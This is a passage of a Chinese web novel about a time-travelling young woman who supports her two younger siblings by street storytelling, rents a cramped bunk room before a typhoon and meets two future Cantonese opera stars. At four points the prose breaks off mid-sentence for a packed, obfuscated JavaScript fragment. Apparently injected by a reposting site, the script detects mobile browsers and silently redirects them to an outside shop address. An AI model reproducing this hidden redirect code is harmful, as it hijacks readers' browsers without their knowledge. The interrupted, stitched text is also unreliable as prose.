其余的观众给那人一提醒,也跟着催促起来:“对呀,对呀,快点讲嘛!” “他们最后成婚没有?” “那个书生考上状元没有?” “…………” 言少微把眼一扫,见到这圈人殷切热烈的目光,心头却是一亮,意识到自己之前先入为主地陷入了一个误区—— 自己用南音的形式讲故事,唱词都得现编,要古典还要押韵,费脑子不说,唱得也累,简直吃力不讨好,听众听得也着急。 既然自己卖的本来就不是唱腔,那完全可以改成直接说书啊! 她到这个时候也想起来,维岛本来就有讲古(讲故事)这个行当,完全不用挑战看客去适应新的形式嘛! 而且南音因为唱腔婉转哀怨,其实受众大多是中老年,而讲古就不一样了,上至耄耋,下至儿童,都可以是讲古的受众! 言少微想到这里,即刻改弦更张。 果不其然,收获了众看客更大的热情。 每每言少微只要开讲,很快就能在身周拢住一拨人。 她也不在意人数多寡,反正有人聚过来就开讲,先讲个十分钟,等到人数多起来就开始卖关子,让两个小家伙去收钱。 每次少说也能赚个一两蚊,一天下来,那就是四五蚊。比之唱南音,一天最多赚个两三蚊,那简直一个天上,一个地下。 几天下来,姊妹三人早已不用惨兮兮地分一碗粥喝了,但是吃肉,倒还真是上岛来的第一次。 言少微没有带两个小家伙去茶楼饭店,依旧是寻了一个街边的小食摊。 言少微豪气地数出三蚊:“来三份叉烧饭!” 冯望舒瞪大了眼睛,一蚊一份的叉烧饭,一人一份! 言柳宿看向大姐的表情,全是崇拜,他们真的吃得起肉嘞! 就连档主都笑逐颜开,忙不迭地开始给他们舀肉舀饭。 唯有言少微眉梢都没挑一下,高深莫测地往小摊的矮木凳上一坐。 那档主动作也快,言少微刚一坐下,第一份叉烧饭就已经放到了她面前的小木桌上了。 一闻到肉香,言少微登时有种想哭的冲动,表情差点没绷住。 她对面的小柳宿更是馋得口水都要滴到脚背上了。饭一上来,筷子都没来得及拿,小柳宿就抓起一块肉,嗷呜嗷呜地就往自己嘴巴里面使劲塞。 冯望舒也没比他斯文多少,她坐在一个破木箱上,也已经开始狼吞虎咽。 也就是一眨眼的功夫,三盘饭就被他们一扫而空,就连小柳宿居然也没剩下一颗饭。 言少微摸了摸自己的肚子,感觉自己还能再干十盘,不过想想一盘就得一蚊,还是打消了这个念头。 “吃饱了吗?”言少微问两个小家伙。 两个小家伙点头如捣蒜:“吃饱了!” “好!左将军,右将军,跟本王杀向下一家报社!”言少微大喝一声,率先冲向前方。 “杀——”两个小家伙齐齐呐喊一声,举高小拳头,赳赳昂昂地跟在言少微身后。 …… 来的时候气势昂扬,离开报社的时候,两个小家伙就垂头丧气了。 冯望舒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698930|189107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抿着唇,低着头,死死揪着自己的衣摆。 言柳宿揪的是大姐的衣摆,脚步黏连,也不说话。 走出去十来米后,言少微停下脚步,回头看了看两个萎靡不振的孩子。 对于找人的难度,她自己是有心理预期的,所以找不到也没有太影响心情,但是两个小家伙显然有点接受不了一次次满怀希望,又一次次地失望而归。 言少微便一边一个,把手放在两个孩子的脑袋上,把他们的头发撸得乱糟糟的,正要说话,三人却刚好走过报社门口一个临街的橱窗。 言少微转头一看,发现里面贴着当日的报纸,不由停住了脚步。 她之前买不起报纸,报摊的摊主也不会允许人随便看,所以她自从穿越过来,就没有接收过外界的讯息,此时趁此机会当然要好好看一下。 “大佬,这些写的什么?”小柳宿不识字,仰着头问言少微。 “说外面还在打仗。”言少微说。 小柳宿的头就又垂了下去。 言少微没留意到小柳宿的情况,她还在一目十行地看报纸。 这家报社是个大报社,报纸的内容也挺丰富的,有岛外的战况,岛内的民生,还有文娱方面的板块。 这文娱板块还颇有意思的。 言少微发现,里面不光有电影广告、影评,还有大戏专栏,专门点评各家的戏文、唱功。 她的目光下移,底部居然还有连载的小说。 她看看作者名字,发现自己并不认识,再算算时间,她在后世曾经拜读过的那些经典小说,大部分都还没有被写出来。 比如某位家喻户晓的武侠大家,这个时候根本就还没有开始他的第一本武侠小说的创作。 言少微仔细看了看报纸上连载的小说,发现这个小说的风格和后世的还真不大一样。 首先是语言风格问题,眼前的小说直接就是用粤语方言写作,使用了很多当地俚语,这对于非粤语区的读者来说,阅读起来就困难了。 当然,这对于言少微来讲,并不是什么难事,虽然她不是在粤语地区长大的,但是她阿婆是在广东长大的,她从小陪着阿婆看粤剧,听南音,粤语对她来讲,也算得上是第二母语了。 其次是故事情节进展得特别缓慢,光是主角出门找人,就要从他穿衣服讲起,事无巨细,一千多个字过去,人还没出门。 整个一篇连载看完,情节没有半分推进,言少微甚至无法判断出这篇小说到底想要写个什么样的故事。 再有就是作者似乎没有太多的叙事技巧,整个故事平铺直叙,缺乏吸引力,读来让人觉得无聊至极。 言少微捏着鼻子将整个连载读完,心里忍不住吐槽,这写的什么东西啊,这也有人看吗? 她敢打包票,这个水平要是发表在小绿江,肯定一毛钱都赚不到。 刹那间,言少微自然而然就有一种,‘想要让这个时代的读者看一看,到底好看的小说是什么样的’的想法。 这么一想,言少微登时来了精神,对呀!她可以写小说养活自己! 就在她思量间,目光依旧在报纸上逡巡,忽然,她定住了,她看到报纸上某个版面上,用醒目标题写着—— 天文台挂八号风球,台风即将登陆 言少微心里“咯噔”一下,这些天他们也遇到过下雨,在骑楼底下躲一躲就过去了。 但如果是台风的话,骑楼下面肯定是不安全的。 而且这台风也不知道要刮几天,她得赶在台风来之前,把住处给定下来。 5. 有瓦遮头 就在她琢磨此事的时候,言柳宿拉拉他的衣摆:“大佬,咱们走吗?” 言少微回神,她弯下腰,揽住两个小家伙:“你们想不想洗个澡,换身干净衣服?” 小柳宿还没反应过来,小望舒的眼睛已经亮起来了:“想!” 继而又疑惑地问:“咱们去哪里洗呀?海边吗?” “自然不是,”言少微神秘兮兮地卖关子,“跟我来。” 她说着,就带着两个小家伙在旺角找到了一栋唐楼,说明来意后,跟着包租婆进了一个板间房。 包租婆指着床位说:“呐,这里两蚊一个床位,押二付一。” 言少微倒抽了一口凉气,她早年就听阿婆说过唐楼板间房的条件差,却也没想到能差到这个程度。 小小一个不到一百呎的板间房,里面跟汉堡包一样,用加吊床的形式叠了三层床位,每层的高度之低,就是坐起来都要撞头! 为了多塞下两组床,床位的宽度更是狭窄,言少微原本打算的两个人挤一个床位,在这里根本就无法实现。 刻薄一点讲,就是睡棺材,都比这个床位宽敞! 更不要提这里连个窗户都没有,整个板间房的味道简直难闻。 “睡这里还不如睡骑楼底下宽敞,”冯望舒忍不住拉了拉言少微,小声嘟哝了一句,“那里还不用钱。” 那包租婆已经听到了,老大不高兴地说了句:“小姑娘懂什么,平时你们可以睡骑楼,要是遇到台风天,呐,就你跟你细佬这个小身板,分分钟给你们吹到天上去!” 冯望舒被她这描述吓到了,没敢再说话。 言柳宿也被包租婆的话唬住了,缩到言少微的身后,抱住了大姐的大腿,怯怯地仰头去看那包租婆。 那包租婆又跟言少微说:“你别犹豫了,我这里很便宜了,冲凉的热水也包含在租金里面,你到别的地方租,买水都要花几毛钱啦!” “成,就这里吧,”言少微从兜里摸出十八块钱递给包租婆,“我租三个床位。” 包租婆满意地收了钱,又叮嘱:“冲凉要晚上,分男女的,你们听见天井有人叫就可以去了。” 等到包租婆关上门,言柳宿还揪着大姐的衣服,满脸的难以置信:“咱们有床睡了?” 虽然这是个连外窗都没有的九人间,他们要和另外六个不认识的人挤一个屋子,但是这里不用跟人抢位置,不用担心被地痞勒索,不用再被差佬驱赶。就是刮风下雨也不用怕了! 这是属于他们自己的空间! 言少微直接躺上了床,床上也就铺了一层薄薄的床褥,硬得要命,可是跟骑楼底下的地板一比,简直不知道舒服了多少倍。 她把手放在脑后,眯缝着眼睛:“对,咱们有床睡了!” 只有冯望舒一脸的担忧:“大佬,咱们还有钱吗?” 言少微就摸了摸兜,从里面掏出来几个硬币,笑说:“还成,够咱们一会儿一人啃个菠萝包。” 两个小家伙登时有些傻眼。 言少微又把硬币塞回兜里,信心满满地说:“不怕,晚上大佬讲古去。分分钟就赚回来了!” 冯望舒说:“去上次那个夜市吧?那里人多。” “成,就去那个夜市。”言少微说。 …… 光头唰唰几下翻完了手中的曲本,一抬头,对面的陆剑铮还在慢条斯理地看他的本子,他挠了挠头,一会儿又搓了搓脸,终于忍住不住问道:“铮哥,今晚有空,咱们去找那个细佬哥吗?” “晚上我自己去,你不用陪我。”陆剑铮说着话,却连眼睛都没有离开手中的曲本。 “嗐,没事儿,反正我也没别的事情做,我陪铮哥去吧。” “不用,你不是嫌弃人家唱的南音不地道吗?”陆剑铮用笔在本子上写了几个字,又翻过一页。 光头就挠了挠他的光头:“……其实,他唱得是不大地道,但是那个故事还蛮有意思的,我有点想听听那细佬哥又要唱个什么故事。” 陆剑铮终于抬眼瞥了光头一眼,见光头有些不好意思地只是笑,他的眼底也浮起一丝难以察觉的笑意,又收回了视线,淡声说:“成,那就一起去。” 然而当晚,当他们两个,外加一个陆剑铮的大佬,再度见到言少微的时候,光头惊呆了,他指着人群中央,告状似地嚷嚷:“他连唱都不唱了!” “嘘!” “别吵!” “别说话!” 话音未落,周边一群人就已经朝着光头怒目而视。 言少微丝毫没受影响,她不知道从哪里借来一个木箱子,自己踩在上面,一时用尖细的嗓子模仿坏人,一时又用粗狂的声调装男人,表情动作配合着剧情,十分生动精彩。 剧情节奏掌握得也特别老辣,时不时根据观众的反应,即兴调整剧情走向,管保足够跌宕起伏。 路过的观众,但凡停下来听个几分钟,那就别想走得掉了。 言少微那边一边讲,还在一边观察今日的收益情况,见观众们光顾着听故事,两个小家伙转了几圈也没收到几个钱,便寻机卖了个关子,她长叹一声:“窦娥的命太惨……” 继而掩面惨声说:“……我实在是不忍心讲下去了……” “诶!别停在这里啊!”人群中开始催促起来。 “后面呢?她真的被砍头了吗?” “那她的冤屈岂不是永远没人知道了吗?” “阴公啦!” “…………” 言少微一面从指缝里往外看,一面继续用凄惨惨的语气说:“这种人间惨事实在造孽,讲多了怕都要折寿……” 陆剑铮见一个小姑娘捧着个帽子到了自己跟前,便从兜里掏了个硬币放进她的帽子里。 小姑娘眼睛一亮,脆生生地嚷了一句:“哥哥仔打赏五豪子!多谢哥哥仔!” 一般这种街头看戏的打赏大多都是给几个仙,像陆剑铮这种一出手就是五豪子的,就算相当豪爽的了。 言少微故意卖关子,很多人本来就打算打赏了,给陆剑铮这一带动,打赏的人就更多了。 就连他身边的光头也不用人催,丢了个一仙的硬币进去。 言少微看着看客纷纷解囊,话锋一转:“……不过观众大过天,列位要听,我就讲给列位听……” 言少微继续讲述窦娥的凄楚辛酸,语调如泣如诉,听得人只觉悲凉入骨。 人群中一个阿婶听着,甚至从兜里掏出手帕,抹起了眼泪。 而就在她为故事中的主人公落泪的时候,一只黑黢黢的手探向了她的裤兜。人群听得如痴如醉,竟是没有人发现。 唯有言少微站得高,刚好看个正着。她心里一紧,本能地就想提醒那个阿婶。话到嘴边,却想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698931|189107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起如今本就是乱世,得罪了小偷,万一被报复怎么办。 然而她又一看那阿婶—— 阿婶那身衣服已经洗得发白,她抬起手臂擦眼泪的时候,手肘处还漏出一块补丁。 她兜里的钱或许就是她一家老小未来几天的口粮。 此时言少微的故事已经讲到窦娥在刑场上,指天咒骂的情节。 言少微心念一转,忽说:“那窦娥含泪说道:‘劝君莫行亏心事,善恶到头终有报,劝君莫伸三只手,举头三尺有神明!’”[1] 这两句话丝滑嵌入剧情当中,大部分听众都没觉得有什么不对劲,但也有少部分观众听明白了,纷纷检查自己的衣兜裤袋。 那个被偷钱的阿婶却还在抹眼泪。 那小偷的手伸进去,指尖就探到了好几个硬币,他心头一喜,正当他准备把硬币夹出来的时候,忽然手腕一痛。 有人捏住的他的手! 小偷心头一惊,想要挣脱,可那只手像铁钳一样,他竟动不得分毫! 他惊骇抬头,就见身边一个又高又俊的青年,正冷冷地注视着自己。 小偷一见这人,脚已经软了:“陆……陆哥,这、这么巧,也来听讲古呐?” 陆剑铮没回答,揪着那小偷出了人群,冷声问他:“我上次怎么说的?” “陆、陆哥说,再、再看到我行窃,就、就抓我去警署,”那小偷快吓尿了,“陆哥,我错了,我再也不敢了,别抓我……” 那小偷是真的要吓死了,这个时候的差佬可不是秉公办案的正义使者,他们这些做贼的被抓到了,先就得挨顿警棍,一不小心断手断脚也是有的。 偷到的赃款也别想藏,全都得拿出来孝敬这些差佬,运气好的,也就到此为止了,运气不好的,之后还会被关在牢房里,等着家人拿钱来赎人。 正说着,人群中又挤出一个稍长一点的青年,表情有些无奈:“都不知道你是差佬,还是我是差佬。” 陆剑铮把早已吓得哆嗦的小偷交给那差佬:“别打他,带回去关两天得了。” 那差佬抱怨说:“又不让打,又得带回去,你这是要害我被那班伙计笑死……” 他说着看陆剑铮表情不虞,耸耸肩,笑着改口说:“开玩笑啦,公事公办、公事公办。” 陆剑铮这才拍拍那差佬的肩膀:“辛苦你了。”说完,便又往人群中挤去。 “放个假还得做事,”那差佬对着陆剑铮的背影抱怨了一句,“我也就是看在你是我亲弟弟的份上。” 他见那小偷吓得抱头蹲在地上,没好气地踹了对方一脚:“你也是运气好,落在我手上,起来起来,跟我回差馆。” 那边陆剑铮刚挤回去,光头少年就问他:“铮哥,你们刚刚哪儿去了?陆sir呢?”他刚才听故事听得实在专注,都没留意到陆剑铮什么时候不见了。 “他抓了个贼,回去做事了。”陆剑铮说。 “我还以为你又把他撵走了……”光头正说着,见陆剑铮目光转冷,当即消音,假装自己什么都没说,认真听故事去了。 到九点过的时候,言少微终于讲完了这一场,有些脱力地坐在了木箱上。 她讲一场,从脑力到情绪,再到体力,都是极大的消耗,不比干体力活轻松多少。 言柳宿哒哒哒地跑过来,把帽子举得高高的:“大佬!数钱!” 6. 偶遇老倌 言少微接过帽子,就开始整理里面的硬币,整理完了一数,一共一蚊九豪八。 她这边刚数好,冯望舒也过来了,把自己收的钱递给言少微:“我这里一共三蚊四豪九。” 言少微知道二妹数钱向来仔细,她接过来并没有重新再数一遍,只是笑眯眯地把硬币都塞回兜里,心中感慨,这人多的地方就是好,一场赚的能比得上之前一整天的收入了。 言少微想着,砸吧了一下口干舌燥的嘴巴:“走,大佬带你们买汽水去!” 两个小家伙一听,当即欢呼一声。 言柳宿已经指着一个方向,雀跃地说:“我看到那里有卖汽水的!” “好嘞,左将军开路!”言少微两指并拢,用唱戏的姿势,比了个向前的手势。 言柳宿像个小炮仗一样冲了出去,言少微牵着二妹正要跟着走,迎面就看到了走过来的陆剑铮。 言少微之前就看到了陆剑铮抓贼,见他过来,便笑着说:“刚刚谢谢你呀。如果刚刚那个阿婶因为帮衬我而被人偷了钱,我会很内疚的。” “举手之劳而已。”陆剑铮说。 光头有些懵,问道:“什么事情?” 言少微就将之前的事情简单解释了一下。 光头瞪大了眼睛:“居然是这样!我都没听出来!” 这个时候,跑到汽水档跟前才发现两个姐姐没跟过来的言柳宿,又哒哒哒地跑了回来,见大姐跟人说话,便乖乖地站到了冯望舒身边。 夜市的灯光昏暗,但是也足够言少微看清眼前的两人。 在人人都饿得面黄肌瘦的维岛,这两个人都长得高高大大,面色红润,显然是没饿过肚子的。 而且这两人的模样都生得极好,陆剑铮更是剑眉星目,肩宽窄腰,拉出去就能当模特。 言少微穿越前正在筹备自己的毕业短片,剧本都写好了,正在物色男主角,现在属于一看到靓仔就想把人拉进组的状态。 此时见到陆剑铮,她忍不住问:“不知道哥仔如何称呼?” 陆剑铮冲言少微伸出一只手:“鄙姓陆,陆剑铮。” 言少微握住对方的手,正要报上自己的名姓,一听这个名字,当场呆住了。她听说过这个名字! 她阿婆年轻的时候最喜欢的粤剧文武生就叫陆剑铮!(文武生即粤剧舞台上六大台柱之一,可以理解为男性主角) 大约四五十年代的时候,红遍香江两岸。 令人叹惋的是,陆剑铮在最红的时候,在舞台上被开刃的道具刀砍中动脉,因失血过多而死,死的时候还不到三十岁。 陆剑铮并没有什么影像资料留下来。言少微也不过见过一张非常模糊的,黑白上妆照。 这个陆剑铮难道就是那个陆剑铮? 言少微的目光落在对方的脸上。 眼前的青年面容有一种雕塑感,面部线条棱角分明,不笑的时候带着一种冷峻,像一柄没有刀鞘的利剑。 光是这模样,不上妆都英气逼人,的确是有唱红香江的本钱的。 会是他吗? 就在言少微心中犹疑不定的时候,光头也朝她伸出一只手:“我叫季北鸿。” 一听到季北鸿这个名字,言少微便彻底确认了。 季北鸿这个人她也知道,是上世纪的粤剧大佬倌,被人称为武生王。 碰到一个同名同姓可能是巧合,两个怕就不是什么巧合了。 言少微心情激荡了。 她阿婆以前就爱给她讲自己那时候去戏园子听戏的事儿,讲这些大佬倌在台上的绝代风华,害得言少微只恨自己晚生了几十年,不能亲眼看到这些大佬倌的风采。 但是现在,两个活生生的大佬倌就在她的眼前!言少微现在就恨不得立即跟着他们去戏台下,亲自饱一饱眼福。 言少微这一激动,就叫对方看出了端倪。 “你认识我们?”季北鸿有些诧异。 言少微说:“我知道你们是粤剧大佬倌!” 季北鸿跟陆剑铮对望了一眼,都有些惊讶,大佬倌他们现在还真不敢当,他们俩现在都是新人后辈,没想到居然有人知道他们。 “你看过我们的戏?”季北鸿瞪大了眼睛。 “那倒没有……我听别人讲的,”言少微真诚地说,“我是真想看,不过眼下暂时还没有钱。” 季北鸿笑容爽朗:“嗐!这有什么,等着过两天开新戏,我请你去看!” 言少微巴不得一声,当即满口称谢。 “这两个是你的细佬妹?”季北鸿问。 “是啊。”言少微把两个小家伙薅到身前,让他们做了自我介绍。 “冯?”陆剑铮留意到了三姊妹并非同姓,“你们不是亲兄妹?” 言少微便将家里的情况简单地讲了讲。 “你可真是个好大佬,这年头,我看多了亲爹妈卖儿卖女的,你这不是亲生的,还这么护着他们,真是难得。”季北鸿感叹了一句。 说起这个,言少微想起旧事:“之前真的有人想要跟我买他们,出了三百蚊呢!” 两个小家伙听到这个事情,又给吓到了,一人一边抱住了言少微的腰和大腿。 言少微一手搂住一个,叹了一声:“再穷,我也做不出来卖孩子的事情。既然他们叫我一声大佬,我又怎么能把他们抛下不管呢?” 言少微不知道是不是自己的错觉,她总感觉自己说了这番话后,陆剑铮似乎浑身震动了一下。 她有些疑惑地看向他,就看见他的眼底仿佛掀起了滔天巨浪,无数的情绪在里面翻涌,然而他却一个字都没说,只是看向她的目光不再像之前那般带着疏离。 几人又说了几句话,言少微把自己现在的住处告诉了他们,便道了别,各自离去。 言少微带着两个小家伙刚回到他们租住的唐楼底下,就听到有人扯着嗓子吼了一声:“女的冲凉了!” ——唐楼没有独立卫浴,包租婆划定了一个区域作为集体沐浴的地方,每天晚上定时提供干净热水,分男女先后沐浴。 言少微一听,眼睛都亮了,从背在背后的包裹中把自己和冯望舒的干净衣服取了出来—— 他们的行李是随身携带的,包租婆早就提醒过他们,不要把东西放屋里,否则肯定撒手没。 言少微把剩下的包裹塞给言柳宿:“我们去冲凉,你先回屋。” 言柳宿惊恐地瞪大了眼睛,自从上岛,他还从来没有跟两个姐姐分开过,让他一个人走,他害怕啊! 小家伙不说话,也不接包袱,反而上前一步,抱紧了言少微的胳膊。 言少微伸出另外一只手,揉了揉小柳宿的脑袋,声音很温柔:“别怕,我们冲完凉就回来,很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698932|189107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快的。” 冯望舒在旁边说:“这么大了还害怕一个人上楼梯,羞羞!” “我不怕!”言柳宿立即反驳,又委屈巴巴地看了眼言少微,这才磨磨蹭蹭地放开手,抱过了包袱。 “快回屋去吧。”言少微跟他摆摆手,拉着冯望舒就往天井那边去了。 言柳宿却没有立即上楼,而是红着眼眶,一步三回头地看着两个姐姐的背影,直到再也看不见了,他才像是反应过来似的,扭头看看四周。 这边没有路灯,唯有唐楼上有光亮传出来。 小柳宿打了个哆嗦,抱着包袱就飞快地朝楼上跑去,那架势好像他身后有一只鬼在追着咬他的屁股。 …… 第二天,言少微看看天,蓝天碧云,天气很好,并没有半点风雨欲来的架势,便带着两个小家伙又跑了两家报社。 只可惜,依旧是一无所获。 从最后一家报社出来的时候,言少微一马当先走在前面,屁股后面就跟着两个蔫儿哒哒地低垂着脑袋的小家伙。 走着走着,言少微忽然看到了一家卖文具的小店,她脚步一转,就走了进去,很快便抱着一沓白纸和几根铅笔出来了。 她其实是想买钢笔的,但是一问价格,最便宜的钢笔也要五块钱,买了钢笔还得再买墨水,墨水也不便宜,便索性买了铅笔。 毕竟一根铅笔也就才五个仙(0.05元),她买了五根才两毫五! 白纸也不贵,一百张才花了她五毫子。 两个小家伙见她宝贝似的抱着那些白纸和铅笔,都有些惊讶。 他们这些时间买的东西基本上全都是食物,这种不能吃的东西,还真没买过。 冯望舒问言少微:“咱们为什么要纸笔呀?” “赚钱,”言少微言简意赅地说,“以后咱们可以靠这个吃饭。” 两个小家伙想不明白为什么白纸和铅笔能让他们吃饭,但是这不妨碍他们觉得大姐就是厉害,双双都向言少微投去了崇拜的眼神。 言少微也没有要给两个小家伙解释的意思,她还忙着构思小说呢。 她这一路想得专注,根本没有留意到天气已经发生了变化。 “大佬,好像要下雨了。”还是冯望舒提醒了言少微。 言少微回神,抬头去看,她没有手表,无法知道准确的时间,只是大概推断现在最多下午三点过,但是他们头顶的天空已经暗了下来。 言少微心中庆幸,幸好他们眼下是在回家的路上。 “应该是,咱们走快点。”言少微说着已经加快了步伐。 他们没走出去多远,平地就起了狂风。很快,风力就已经大到他们前进都有些吃力的地步了。连言少微都觉得举步维艰了,两个小家伙就更难了。 “大佬!大佬!”言柳宿迈了一步,就被风往后吹了两步,一下子跟两个姐姐拉开了距离,急得直嚷。 言少微忙回头拉住弟弟,又唤妹妹:“望舒,过来!” 她让两个小家伙排在自己身后,拉着前面人腰间的衣服,弯着腰往前艰难地行进。 就在他们距离租住的唐楼只有不到两条街的时候,风骤然变小。 言少微还没来得及松口气,下一瞬,豆大的雨滴就洒了下来。 “跑!”言少微一声吼,姊妹三人便朝着唐楼的方向狂奔。 7. 唐楼讲古 言少微为了保护怀里的纸不被打湿,一直弯着腰跑。 等到冲回唐楼,她的背上已经完全湿透了,她小心翼翼地把白纸从怀里掏出来,松了口气,还好只湿了一点边角。 言少微都顾不上自己的衣服还湿着,或者说她也没法顾,昨天晚上冲完凉,她换过衣服后,他们就没有干净衣服可以换了。 此时,她小心翼翼地把那些打湿的白纸平铺在自己的窄床上。 他们那个九人间此刻有七个人,狭小的屋子根本没有多余的地方放板凳,所以所有人都蜷在自己的床铺上。 有两个床铺睡的是女性,她们用布帘挂在自己的床边,然而布帘陈旧,上面破着洞,根本遮不住什么,不过是个心理安慰而已。 在这样一个空间里,谁干点什么,所有人都能一目了然。 所以言少微晾纸,便有人探头来看。睡他对面的是个五十多的男人,看了两眼,就说:“你买那些东西做什么?又不能吃。” 言少微只是笑笑,没答话。 她的铺被白纸铺满,她没法躺,就只能靠着墙坐着。 谁知刚靠上,她就感觉到背后有塌陷之感,吓得连忙起来查看。 这不查不要紧,一查才发现,她以为的墙,居然是用纸皮糊出来的! 好在她刚才反应快,这才没有直接将墙给压塌。 她就说为什么这个墙的隔音巨差,隔壁咳嗽一下,就跟在她耳边咳一样! 言少微简直无奈,只好跟打坐似的,闭着眼睛养神,在心里构思她的小说。 关于小说的题材,她其实早就有了一个大概的方向。 自从那日遇到那个惨死骑楼底的小孩,那个小小的,瘦弱的身影就在她的脑海中挥之不去。同样让她无法释怀的,还有那个因为工伤失去了一只手,不得不在街头乞讨的孩子。 在她的那个时代,这样小的孩子,即便是孤儿,也能在孤儿院有个不被风吹雨打的住所,吃得上三餐饱饭。也能念得上书,将来长大了,还能找到一份能养活自己的工作。 但是在这个乱世,他们连长大的机会都没有。 这些种种惨像,一直像块石头一样压在言少微的心头。 然而言少微自己都朝不保夕,自然是没有能力帮助那些孩子的,她只是想,用自己的笔创造一个世界,让那些孩子在那个世界活下去。 她沉默了一会儿,在心里定好了大纲,便取过一张纸,预备开始写文。 到这个时候,言少微这才发现一个很严重的问题—— 她没有桌子。 言少微想了想,把平铺开来的白纸全都挪到一边,把下面那层薄薄的床褥掀开,直接把白纸放在木床板上写字。 写了一会儿,言少微就觉得不行了,屋内没有窗户,也没有照明,她只写了一会儿就眼睛疼,她立即停了下来,抱着一叠空白稿纸往屋外走,打算到外面找个亮堂点的地方。 “大佬,你去哪儿?” “大佬!等我!” 一看言少微要出门,两个小家伙也要爬下床。 “你们就在屋里休息吧。我不出门,就在楼里。”言少微阻止他们。 冯望舒看了看屋内其他几个铺,对着几个陌生的成年人,她总是心里有些发毛,还是从上铺爬了下来:“那我去洗衣服吧。” 唐楼没有阳台,晾天井不一定能抢到位置,晾骑楼底下说不定就被路过的人一把薅走了,很多人都选择把湿衣服晾在自己的床铺上阴干。所以下雨天洗衣服倒也不影响什么。 言少微一想,他们每人就一套换洗衣物,如果不洗,还真没换的了,便也就没反对。 她让冯望舒带着弟弟去找包租婆借水借盆借肥皂。她自己在唐楼上转了一圈,又跑到楼下门口看了看,外面的雨越下越大了,风也愈来愈大,把门都吹得吱嘎作响的。 门边上蹲着七八个人,浑身都湿漉漉的,这些人眼神有些呆滞,也不说话,只是蹲在那里。 言少微知道,这些人进来躲雨,也是要交避雨费的。 这样的台风位,哪怕没凳子没床,价格也至少是这些底层劳动者一天的口粮。可是不掏这个钱也不行,维岛的台风是真的吓人,人要是一直待在外面,搞不好会丢掉性命。 言少微转了一圈,发现到处都是人,唯有楼梯上没人,人都在楼梯下方——那里也被安置了床铺。 言少微便干脆在楼梯的拐角处蹲下,借着楼梯上昏暗的电灯开始写自己的小说。 她写得专注,也没留意到有人经过他的时候,停下了脚步,凑过来看。 “哥仔,你写的是个什么?” 耳畔忽然传来一个声音,把言少微吓了一大跳。 她抬头看去,只见好几个人把自己围着,看稀奇一样看着自己。 今天台风出不了门,这些人也没别的娱乐,闲得没事正好到处瞎看看。 言少微忽然有了个想法。 台风天她反正不能出去说故事赚钱,在这里讲也是一样的,而且她之前都是借用前人的故事改编,今天正好试试狗娃的故事符不符合维岛人的胃口。 她想着,便站起来,揉了揉写得酸痛的手,又活动了一下脚:“我在写故事。” “写什么故事?”有人问道。 “一个跟咱们一样,从乡下到维岛讨生活的小娃的故事。” 言少微说着便往上走了两节台阶,居高临下地开始讲了起来—— 故事中的狗娃是个八岁的女娃,跟着哥哥一起逃到维岛的。 最开始的时候,她还有哥哥保护,可是后来,哥哥在工厂受了伤,整个手臂被机器卷了进去,因为救治不及时,人没救回来。 工厂老板打发了狗娃十蚊,就不管她了。 从此以后,狗娃便孤身一人在维岛讨生活。 可是那么小的一个孩子身怀“巨款”,又怎么可能守得住呢?她刚出门,那十蚊便被人抢走了。 狗娃是个很聪明的小孩,她经历了这个事情之后,便知道了街头流浪的危险,所以她穿上哥哥的衣服,扮作一个男娃。 她靠着乞讨为生,如果能讨到五个仙,她就能从饭店买到隔夜的,已经有点变质腐烂的食物。 在狗娃看来,那些传出阵阵酸臭味的食物,简直就是人间美味。 乞讨的运气并不是每天都这么好,要是实在讨不到,她就去饭店后面的泔水桶里面掏吃的。 但是也要小心,因为这些泔水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698933|189107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭店也是要卖掉的,如果被他们发现了,她是要挨打的。 言少微口中狗娃的经历,其实很多都是她亲眼见过的。就是原主的记忆中,饭店卖的泔水饭,她也是给两个小家伙买过的。 自从穿越过来,言少微看到了太多惨事,心中憋了无数的情绪,此时便一股脑倒了出来。 维岛是有讲古佬的,但是讲古佬都是男人,莫说小孩,就是女人都被排斥在这个行业之外。 